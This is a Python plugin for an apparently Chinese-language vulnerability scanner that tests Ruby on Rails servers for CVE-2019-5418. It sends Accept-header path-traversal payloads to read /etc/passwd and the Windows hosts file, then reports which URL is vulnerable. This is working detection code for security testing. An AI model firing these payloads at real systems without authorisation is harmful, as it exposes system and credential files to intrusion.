#!/usr/bin/env python3
# -*- coding:utf-8 -*-

'''
Ruby on Rails 路径穿越与任意文件读取
    CVE-2019-5418
        Payload: https://vulhub.org/#/environments/rails/CVE-2019-5418/

在控制器中通过render file形式来渲染应用之外的视图, 且会根据用户传入的Accept头来确定文件具体位置
    通过传入Accept: ../../../../../../../../etc/passwd{{头来构成构造路径穿越漏洞, 读取任意文件
'''

from payloads.RubyOnRails.tool_get_route_path import get_route_path
from lib.tool import check
from PluginManager import Vuln_Scan

class Scan(Vuln_Scan):
    def __init__(self):
        self.payloads = [
            {'headers': {'Accept': '../../../../../../../../etc/passwd{{'}},
            {'headers': {'Accept': '../../../../../../../../C:/Windows/System32/drivers/etc/hosts{{'}},
            {'headers': {'Accept': '../../../../../../../../C:\Windows\System32\drivers\etc\hosts{{'}}
        ]
    
    def POC(self, clients):
        client = clients.get('reqClient')

        vul_info = {
            'app_name': 'Ruby on Rails',
            'vul_type': 'File-Read',
            'vul_id': 'CVE-2019-5418',
        }
        
        dataRoutePath = get_route_path(client, vul_info)        # * 获取有效路由(路径)
        if not dataRoutePath:
            return None

        for payload in self.payloads:
            headers = payload['headers']

            for routePath in dataRoutePath:
                res = client.request(
                    'get',
                    routePath,
                    headers=headers,
                    allow_redirects=False,
                    vul_info=vul_info
                )
                if res is None:
                    continue

                if (check.check_res_fileread(res.text)):
                    results = {
                        'Target': res.request.url,
                        'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                        'Request': res
                    }
                    return results
        return None
    
    def EXP(self, clients):
        pass

    def Start(self, clients):
        return self.POC(clients)
